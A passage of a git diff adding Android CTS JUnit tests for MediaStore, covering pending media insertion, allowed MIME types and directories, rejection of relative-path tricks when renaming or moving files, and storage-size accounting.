+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.google.common.base.Objects;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+@RunWith(Parameterized.class)
+public class MediaStorePendingTest {
+    private Context mContext;
+    private ContentResolver mResolver;
+
+    private Uri mExternalAudio;
+    private Uri mExternalVideo;
+    private Uri mExternalImages;
+    private Uri mExternalDownloads;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
+        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+        mExternalDownloads = MediaStore.Downloads.getContentUri(mVolumeName);
+    }
+
+    @Test
+    public void testSimple_Success() throws Exception {
+        verifySuccessfulImageInsertion(mExternalImages, Environment.DIRECTORY_PICTURES);
+    }
+
+    @Test
+    public void testSimpleDownload_Success() throws Exception {
+        verifySuccessfulImageInsertion(mExternalDownloads, Environment.DIRECTORY_DOWNLOADS);
+    }
+
+    private void verifySuccessfulImageInsertion(Uri insertUri, String expectedDestDir)
+            throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+
+        final PendingParams params = new PendingParams(
+                insertUri, displayName, "image/png");
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        final long id = ContentUris.parseId(pendingUri);
+
+        // Verify pending status across various queries
+        try (Cursor c = mResolver.query(pendingUri,
+                new String[] { MediaColumns.IS_PENDING }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertEquals(1, c.getInt(0));
+        }
+        assertFalse(containsId(insertUri, id));
+        assertTrue(containsId(MediaStore.setIncludePending(insertUri), id));
+
+        // Write an image into place
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+                 OutputStream out = session.openOutputStream()) {
+                FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        }
+
+        // Verify pending status across various queries
+        try (Cursor c = mResolver.query(publishUri,
+                new String[] { MediaColumns.IS_PENDING }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertEquals(0, c.getInt(0));
+        }
+        assertTrue(containsId(insertUri, id));
+        assertTrue(containsId(MediaStore.setIncludePending(insertUri), id));
+
+        // Make sure our raw filename looks sane
+        final File rawFile = getRawFile(publishUri);
+        assertEquals(displayName + ".png", rawFile.getName());
+        assertEquals(expectedDestDir, rawFile.getParentFile().getName());
+
+        // Make sure file actually exists
+        getRawFileHash(rawFile);
+        try (InputStream in = mResolver.openInputStream(publishUri)) {
+        }
+    }
+
+    @Test
+    public void testSimple_Abandoned() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+
+        final Uri insertUri = mExternalImages;
+        final PendingParams params = new PendingParams(
+                insertUri, displayName, "image/png");
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        final File pendingFile;
+
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+                    OutputStream out = session.openOutputStream()) {
+                FileUtils.copy(in, out);
+            }
+
+            // Pending file should exist
+            pendingFile = getRawFile(pendingUri);
+            getRawFileHash(pendingFile);
+
+            session.abandon();
+        }
+
+        // Should have no record of abandoned item
+        try (Cursor c = mResolver.query(pendingUri,
+                new String[] { MediaColumns.IS_PENDING }, null, null)) {
+            assertFalse(c.moveToNext());
+        }
+
+        // Pending file should be gone
+        try {
+            getRawFileHash(pendingFile);
+            fail();
+        } catch (FileNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testDuplicates() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+
+        final Uri insertUri = mExternalAudio;
+        final PendingParams params1 = new PendingParams(
+                insertUri, displayName, "audio/mpeg");
+        final PendingParams params2 = new PendingParams(
+                insertUri, displayName, "audio/mpeg");
+
+        final Uri publishUri1 = execPending(params1, R.raw.testmp3);
+        final Uri publishUri2 = execPending(params2, R.raw.testmp3_2);
+
+        // Make sure both files landed with unique filenames, and that we didn't
+        // cross the streams
+        final File rawFile1 = getRawFile(publishUri1);
+        final File rawFile2 = getRawFile(publishUri2);
+        assertFalse(Objects.equal(rawFile1, rawFile2));
+
+        assertArrayEquals(hash(mContext.getResources().openRawResource(R.raw.testmp3)),
+                hash(mResolver.openInputStream(publishUri1)));
+        assertArrayEquals(hash(mContext.getResources().openRawResource(R.raw.testmp3_2)),
+                hash(mResolver.openInputStream(publishUri2)));
+    }
+
+    @Test
+    public void testMimeTypes() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+
+        assertCreatePending(new PendingParams(mExternalAudio, displayName, "audio/ogg"));
+        assertNotCreatePending(new PendingParams(mExternalAudio, displayName, "video/ogg"));
+        assertNotCreatePending(new PendingParams(mExternalAudio, displayName, "image/png"));
+
+        assertNotCreatePending(new PendingParams(mExternalVideo, displayName, "audio/ogg"));
+        assertCreatePending(new PendingParams(mExternalVideo, displayName, "video/ogg"));
+        assertNotCreatePending(new PendingParams(mExternalVideo, displayName, "image/png"));
+
+        assertNotCreatePending(new PendingParams(mExternalImages, displayName, "audio/ogg"));
+        assertNotCreatePending(new PendingParams(mExternalImages, displayName, "video/ogg"));
+        assertCreatePending(new PendingParams(mExternalImages, displayName, "image/png"));
+
+        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "audio/ogg"));
+        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "video/ogg"));
+        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "image/png"));
+        assertCreatePending(new PendingParams(mExternalDownloads, displayName,
+                "application/pdf"));
+    }
+
+    @Test
+    public void testMimeTypes_Forced() throws Exception {
+        {
+            final String displayName = "cts" + System.nanoTime();
+            final Uri uri = execPending(new PendingParams(mExternalImages,
+                    displayName, "image/png"), R.raw.scenery);
+            assertEquals(displayName + ".png", getRawFile(uri).getName());
+        }
+        {
+            final String displayName = "cts" + System.nanoTime() + ".png";
+            final Uri uri = execPending(new PendingParams(mExternalImages,
+                    displayName, "image/png"), R.raw.scenery);
+            assertEquals(displayName, getRawFile(uri).getName());
+        }
+        {
+            final String displayName = "cts" + System.nanoTime() + ".jpg";
+            final Uri uri = execPending(new PendingParams(mExternalImages,
+                    displayName, "image/png"), R.raw.scenery);
+            assertEquals(displayName + ".png", getRawFile(uri).getName());
+        }
+    }
+
+    @Test
+    public void testDirectories() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+
+        final Set<String> allowedAudio = new HashSet<>(
+                Arrays.asList(Environment.DIRECTORY_MUSIC, Environment.DIRECTORY_RINGTONES,
+                        Environment.DIRECTORY_NOTIFICATIONS, Environment.DIRECTORY_PODCASTS,
+                        Environment.DIRECTORY_ALARMS));
+        final Set<String> allowedVideo = new HashSet<>(
+                Arrays.asList(Environment.DIRECTORY_MOVIES, Environment.DIRECTORY_DCIM));
+        final Set<String> allowedImages = new HashSet<>(
+                Arrays.asList(Environment.DIRECTORY_PICTURES, Environment.DIRECTORY_DCIM));
+        final Set<String> allowedDownloads = new HashSet<>(
+                Arrays.asList(Environment.DIRECTORY_DOWNLOADS));
+
+        final Set<String> everything = new HashSet<>();
+        everything.addAll(allowedAudio);
+        everything.addAll(allowedVideo);
+        everything.addAll(allowedImages);
+        everything.addAll(allowedDownloads);
+        everything.add(Environment.DIRECTORY_DOCUMENTS);
+
+        {
+            final PendingParams params = new PendingParams(mExternalAudio,
+                    displayName, "audio/ogg");
+            for (String dir : everything) {
+                params.setPath(dir);
+                if (allowedAudio.contains(dir)) {
+                    assertCreatePending(params);
+                } else {
+                    assertNotCreatePending(dir, params);
+                }
+            }
+        }
+        {
+            final PendingParams params = new PendingParams(mExternalVideo,
+                    displayName, "video/ogg");
+            for (String dir : everything) {
+                params.setPath(dir);
+                if (allowedVideo.contains(dir)) {
+                    assertCreatePending(params);
+                } else {
+                    assertNotCreatePending(dir, params);
+                }
+            }
+        }
+        {
+            final PendingParams params = new PendingParams(mExternalImages,
+                    displayName, "image/png");
+            for (String dir : everything) {
+                params.setPath(dir);
+                if (allowedImages.contains(dir)) {
+                    assertCreatePending(params);
+                } else {
+                    assertNotCreatePending(dir, params);
+                }
+            }
+        }
+        {
+            final PendingParams params = new PendingParams(mExternalDownloads,
+                        displayName, "video/ogg");
+            for (String dir : everything) {
+                params.setPath(dir);
+                if (allowedDownloads.contains(dir)) {
+                    assertCreatePending(params);
+                } else {
+                    assertNotCreatePending(dir, params);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testDirectories_Defaults() throws Exception {
+        {
+            final String displayName = "cts" + System.nanoTime();
+            final Uri uri = execPending(new PendingParams(mExternalImages,
+                    displayName, "image/png"), R.raw.scenery);
+            assertEquals(Environment.DIRECTORY_PICTURES, getRawFile(uri).getParentFile().getName());
+        }
+        {
+            final String displayName = "cts" + System.nanoTime();
+            final Uri uri = execPending(new PendingParams(mExternalAudio,
+                    displayName, "audio/ogg"), R.raw.scenery);
+            assertEquals(Environment.DIRECTORY_MUSIC, getRawFile(uri).getParentFile().getName());
+        }
+        {
+            final String displayName = "cts" + System.nanoTime();
+            final Uri uri = execPending(new PendingParams(mExternalVideo,
+                    displayName, "video/ogg"), R.raw.scenery);
+            assertEquals(Environment.DIRECTORY_MOVIES, getRawFile(uri).getParentFile().getName());
+        }
+        {
+            final String displayName = "cts" + System.nanoTime();
+            final Uri uri = execPending(new PendingParams(mExternalDownloads,
+                    displayName, "image/png"), R.raw.scenery);
+            assertEquals(Environment.DIRECTORY_DOWNLOADS,
+                    getRawFile(uri).getParentFile().getName());
+        }
+    }
+
+    @Test
+    public void testDirectories_Primary() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(mExternalImages, displayName, "image/png");
+        params.setPath(Environment.DIRECTORY_DCIM);
+
+        final Uri uri = execPending(params, R.raw.scenery);
+        assertEquals(Environment.DIRECTORY_DCIM, getRawFile(uri).getParentFile().getName());
+
+        // Verify that shady paths don't work
+        params.setPath("foo/../bar");
+        assertNotCreatePending(params);
+    }
+
+    @Test
+    public void testDirectories_PrimarySecondary() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(mExternalImages, displayName, "image/png");
+        params.setPath("DCIM/Kittens");
+
+        final Uri uri = execPending(params, R.raw.scenery);
+        final File rawFile = getRawFile(uri);
+        assertEquals("Kittens", rawFile.getParentFile().getName());
+        assertEquals(Environment.DIRECTORY_DCIM, rawFile.getParentFile().getParentFile().getName());
+    }
+
+    @Test
+    public void testMutableColumns() throws Exception {
+        // Stage pending content
+        final ContentValues values = new ContentValues();
+        values.put(MediaColumns.MIME_TYPE, "image/png");
+        values.put(MediaColumns.IS_PENDING, 1);
+        values.put(MediaColumns.HEIGHT, 32);
+        final Uri uri = mResolver.insert(mExternalImages, values);
+        try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+                OutputStream out = mResolver.openOutputStream(uri)) {
+            FileUtils.copy(in, out);
+        }
+
+        // Verify that initial values are present
+        try (Cursor c = mResolver.query(uri, null, null, null)) {
+            c.moveToFirst();
+            assertEquals(32, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
+        }
+
+        // Verify that we can update values while pending
+        values.clear();
+        values.put(MediaColumns.HEIGHT, 64);
+        mResolver.update(uri, values, null, null);
+        try (Cursor c = mResolver.query(uri, null, null, null)) {
+            c.moveToFirst();
+            assertEquals(64, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
+        }
+
+        // Publishing triggers scan of underlying file
+        values.clear();
+        values.put(MediaColumns.IS_PENDING, 0);
+        mResolver.update(uri, values, null, null);
+        try (Cursor c = mResolver.query(uri, null, null, null)) {
+            c.moveToFirst();
+            assertEquals(107, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
+        }
+
+        // Ignored now that we're published
+        values.clear();
+        values.put(MediaColumns.HEIGHT, 48);
+        mResolver.update(uri, values, null, null);
+        try (Cursor c = mResolver.query(uri, null, null, null)) {
+            c.moveToFirst();
+            assertEquals(107, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
+        }
+    }
+
+    private void assertCreatePending(PendingParams params) {
+        MediaStoreUtils.createPending(mContext, params);
+    }
+
+    private void assertNotCreatePending(PendingParams params) {
+        assertNotCreatePending(null, params);
+    }
+
+    private void assertNotCreatePending(String message, PendingParams params) {
+        try {
+            MediaStoreUtils.createPending(mContext, params);
+            fail(message);
+        } catch (Exception expected) {
+        }
+    }
+
+    private Uri execPending(PendingParams params, int resId) throws Exception {
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(resId);
+                    OutputStream out = session.openOutputStream()) {
+                FileUtils.copy(in, out);
+            }
+            return session.publish();
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
new file mode 100644
index 0000000..405a70a
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Environment;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.util.Optional;
+
+@RunWith(Parameterized.class)
+public class MediaStorePlacementTest {
+    static final String TAG = "MediaStorePlacementTest";
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    private Uri mExternalImages;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+    }
+
+    @Test
+    public void testDefault() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+                mExternalImages, "image/jpeg");
+
+        // By default placed under "Pictures" with sane name
+        final File before = ProviderTestUtils.getRelativeFile(uri);
+        assertTrue(before.getName().startsWith("cts"));
+        assertTrue(before.getName().endsWith("jpg"));
+        assertEquals("Pictures", before.getParent());
+    }
+
+    @Test
+    public void testIgnored() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+                mExternalImages, "image/jpeg");
+
+        {
+            final ContentValues values = new ContentValues();
+            values.put(MediaColumns.SIZE, 0);
+            assertEquals(0, mContentResolver.update(uri, values, null, null));
+        }
+
+        // Make sure shady paths can't be passed in
+        for (String probe : new String[] {
+                "path/.to/dir",
+                ".dir",
+                "path/../dir",
+        }) {
+            final ContentValues values = new ContentValues();
+            values.put(MediaColumns.RELATIVE_PATH, probe);
+            try {
+                mContentResolver.update(uri, values, null, null);
+                fail();
+            } catch (IllegalArgumentException expected) {
+            }
+        }
+    }
+
+    @Test
+    public void testDisplayName_SameMime() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+                mExternalImages, "image/jpeg");
+
+        // Movement within same MIME type is okay
+        final File before = ProviderTestUtils.getRelativeFile(uri);
+        final String name = "CTS" +  System.nanoTime() + ".JPEG";
+        assertTrue(updatePlacement(uri, null, Optional.of(name)));
+
+        final File after = ProviderTestUtils.getRelativeFile(uri);
+        assertEquals(before.getParent(), after.getParent());
+        assertEquals(name, after.getName());
+    }
+
+    @Test
+    public void testDisplayName_DifferentMime() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+                mExternalImages, "image/jpeg");
+
+        final File before = ProviderTestUtils.getRelativeFile(uri);
+        assertTrue(before.getName().endsWith(".jpg"));
+
+        // Movement across MIME types is not okay; verify that original MIME
+        // type remains intact
+        final String name = "cts" +  System.nanoTime() + ".png";
+        assertTrue(updatePlacement(uri, null, Optional.of(name)));
+
+        final File after = ProviderTestUtils.getRelativeFile(uri);
+        assertTrue(after.getName().startsWith(name));
+        assertTrue(after.getName().endsWith(".jpg"));
+    }
+
+    @Test
+    public void testDirectory_Valid() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+                mExternalImages, "image/jpeg");
+
+        final File before = ProviderTestUtils.getRelativeFile(uri);
+        assertEquals("Pictures", before.getParent());
+
+        {
+            assertTrue(updatePlacement(uri,
+                    Optional.ofNullable(null), null));
+            final File after = ProviderTestUtils.getRelativeFile(uri);
+            assertEquals("Pictures", after.getParent());
+        }
+        {
+            assertTrue(updatePlacement(uri,
+                    Optional.of("DCIM/Vacation"), null));
+            final File after = ProviderTestUtils.getRelativeFile(uri);
+            assertEquals("DCIM/Vacation", after.getParent());
+        }
+        {
+            assertTrue(updatePlacement(uri,
+                    Optional.of("DCIM/Misc"), null));
+            final File after = ProviderTestUtils.getRelativeFile(uri);
+            assertEquals("DCIM/Misc", after.getParent());
+        }
+        {
+            assertTrue(updatePlacement(uri,
+                    Optional.of("Pictures/Misc"), null));
+            final File after = ProviderTestUtils.getRelativeFile(uri);
+            assertEquals("Pictures/Misc", after.getParent());
+        }
+        {
+            assertTrue(updatePlacement(uri,
+                    Optional.of("Pictures"), null));
+            final File after = ProviderTestUtils.getRelativeFile(uri);
+            assertEquals("Pictures", after.getParent());
+        }
+    }
+
+    @Test
+    public void testDirectory_Invalid() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+                mExternalImages, "image/jpeg");
+
+        assertFalse(updatePlacement(uri,
+                Optional.of("Random"), null));
+        assertFalse(updatePlacement(uri,
+                Optional.of(Environment.DIRECTORY_ALARMS), null));
+    }
+
+    @Test
+    public void testDirectory_InsideSandbox() throws Exception {
+        Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
+
+        final File dir = MediaStore.getVolumePath(mVolumeName);
+        final File file = ProviderTestUtils.stageFile(R.drawable.scenery, Environment.buildPath(dir,
+                "Android", "media", "android.provider.cts", System.nanoTime() + ".jpg"));
+        final Uri uri = ProviderTestUtils.scanFile(file);
+
+        assertFalse(updatePlacement(uri,
+                Optional.of("Android/media/android.provider.cts/foo"), null));
+        assertFalse(updatePlacement(uri,
+                Optional.of("Android/media/com.example/foo"), null));
+        assertFalse(updatePlacement(uri,
+                Optional.of("DCIM"), null));
+    }
+
+    @Test
+    public void testDirectory_OutsideSandbox() throws Exception {
+        Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
+
+        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+                mExternalImages, "image/jpeg");
+
+        assertFalse(updatePlacement(uri,
+                Optional.of("Android/media/android.provider.cts/foo"), null));
+        assertFalse(updatePlacement(uri,
+                Optional.of("Android/media/com.example/foo"), null));
+        assertTrue(updatePlacement(uri,
+                Optional.of("DCIM"), null));
+    }
+
+    private boolean updatePlacement(Uri uri, Optional<String> path, Optional<String> displayName)
+            throws Exception {
+        final ContentValues values = new ContentValues();
+        if (path != null) {
+            values.put(MediaColumns.RELATIVE_PATH, path.orElse(null));
+        }
+        if (displayName != null) {
+            values.put(MediaColumns.DISPLAY_NAME, displayName.orElse(null));
+        }
+        try {
+            return (mContentResolver.update(uri, values, null, null) == 1);
+        } catch (Exception tolerated) {
+            return false;
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
new file mode 100644
index 0000000..96fcaaf
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
@@ -0,0 +1,300 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.usage.StorageStatsManager;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.os.storage.StorageManager;
+import android.os.storage.StorageVolume;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.UUID;
+
+@RunWith(Parameterized.class)
+public class MediaStoreTest {
+    static final String TAG = "MediaStoreTest";
+
+    private static final long SIZE_DELTA = 32_000;
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    private Uri mExternalImages;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    private Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Sure this is pointless, but czars demand test coverage.
+     */
+    @Test
+    public void testConstructors() {
+        new MediaStore();
+        new MediaStore.Audio();
+        new MediaStore.Audio.Albums();
+        new MediaStore.Audio.Artists();
+        new MediaStore.Audio.Artists.Albums();
+        new MediaStore.Audio.Genres();
+        new MediaStore.Audio.Genres.Members();
+        new MediaStore.Audio.Media();
+        new MediaStore.Audio.Playlists();
+        new MediaStore.Audio.Playlists.Members();
+        new MediaStore.Files();
+        new MediaStore.Images();
+        new MediaStore.Images.Media();
+        new MediaStore.Images.Thumbnails();
+        new MediaStore.Video();
+        new MediaStore.Video.Media();
+        new MediaStore.Video.Thumbnails();
+    }
+
+    @Test
+    public void testIncludePending() {
+        assertFalse(MediaStore.getIncludePending(mExternalImages));
+        assertTrue(MediaStore.getIncludePending(MediaStore.setIncludePending(mExternalImages)));
+    }
+
+    @Test
+    public void testRequireOriginal() {
+        assertFalse(MediaStore.getRequireOriginal(mExternalImages));
+        assertTrue(MediaStore.getRequireOriginal(MediaStore.setRequireOriginal(mExternalImages)));
+    }
+
+    @Test
+    public void testGetMediaScannerUri() {
+        // query
+        Cursor c = mContentResolver.query(MediaStore.getMediaScannerUri(), null,
+                null, null, null);
+        assertEquals(1, c.getCount());
+        c.close();
+    }
+
+    @Test
+    public void testGetVersion() {
+        // We should have valid versions to help detect data wipes
+        assertNotNull(MediaStore.getVersion(getContext()));
+        assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_INTERNAL));
+        assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_EXTERNAL));
+        assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_EXTERNAL_PRIMARY));
+    }
+
+    @Test
+    public void testGetExternalVolumeNames() {
+        Set<String> volumeNames = MediaStore.getExternalVolumeNames(getContext());
+
+        assertFalse(volumeNames.contains(MediaStore.VOLUME_INTERNAL));
+        assertFalse(volumeNames.contains(MediaStore.VOLUME_EXTERNAL));
+        assertTrue(volumeNames.contains(MediaStore.VOLUME_EXTERNAL_PRIMARY));
+    }
+
+    @Test
+    public void testGetStorageVolume() throws Exception {
+        Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
+
+        final Uri uri = ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages);
+
+        final StorageManager sm = mContext.getSystemService(StorageManager.class);
+        final StorageVolume sv = sm.getStorageVolume(uri);
+
+        // We should always have a volume for media we just created
+        assertNotNull(sv);
+
+        if (MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName)) {
+            assertEquals(sm.getPrimaryStorageVolume(), sv);
+        }
+    }
+
+    @Test
+    public void testGetStorageVolume_Unrelated() throws Exception {
+        final StorageManager sm = mContext.getSystemService(StorageManager.class);
+        try {
+            sm.getStorageVolume(Uri.parse("content://com.example/path/to/item/"));
+            fail("getStorageVolume unrelated should throw exception");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    public void testContributedMedia() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+        Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                android.Manifest.permission.CLEAR_APP_USER_DATA,
+                android.Manifest.permission.PACKAGE_USAGE_STATS);
+
+        // Start by cleaning up contributed items
+        MediaStore.deleteContributedMedia(getContext(), getContext().getPackageName(),
+                android.os.Process.myUserHandle());
+
+        // Force sync to try updating other views
+        ProviderTestUtils.executeShellCommand("sync");
+        SystemClock.sleep(500);
+
+        // Measure usage before
+        final long beforePackage = getExternalPackageSize();
+        final long beforeTotal = getExternalTotalSize();
+        final long beforeContributed = MediaStore.getContributedMediaSize(getContext(),
+                getContext().getPackageName(), android.os.Process.myUserHandle());
+
+        final long stageSize;
+        try (AssetFileDescriptor fd = getContext().getResources()
+                .openRawResourceFd(R.raw.volantis)) {
+            stageSize = fd.getLength();
+        }
+
+        // Create media both inside and outside sandbox
+        final Uri inside;
+        final Uri outside;
+        final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
+                "cts" + System.nanoTime() + ".jpg");
+        ProviderTestUtils.stageFile(R.raw.volantis, file);
+        inside = ProviderTestUtils.scanFileFromShell(file);
+        outside = ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages);
+
+        {
+            final HashSet<Long> visible = getVisibleIds(mExternalImages);
+            assertTrue(visible.contains(ContentUris.parseId(inside)));
+            assertTrue(visible.contains(ContentUris.parseId(outside)));
+
+            // Force sync to try updating other views
+            ProviderTestUtils.executeShellCommand("sync");
+            SystemClock.sleep(500);
+
+            final long afterPackage = getExternalPackageSize();
+            final long afterTotal = getExternalTotalSize();
+            final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
+                    getContext().getPackageName(), android.os.Process.myUserHandle());
+
+            assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
+            assertMostlyEquals(beforeTotal + stageSize + stageSize, afterTotal, SIZE_DELTA);
+            assertMostlyEquals(beforeContributed + stageSize, afterContributed, SIZE_DELTA);
+        }
+
+        // Delete only contributed items
+        MediaStore.deleteContributedMedia(getContext(), getContext().getPackageName(),
+                android.os.Process.myUserHandle());
+        {
+            final HashSet<Long> visible = getVisibleIds(mExternalImages);
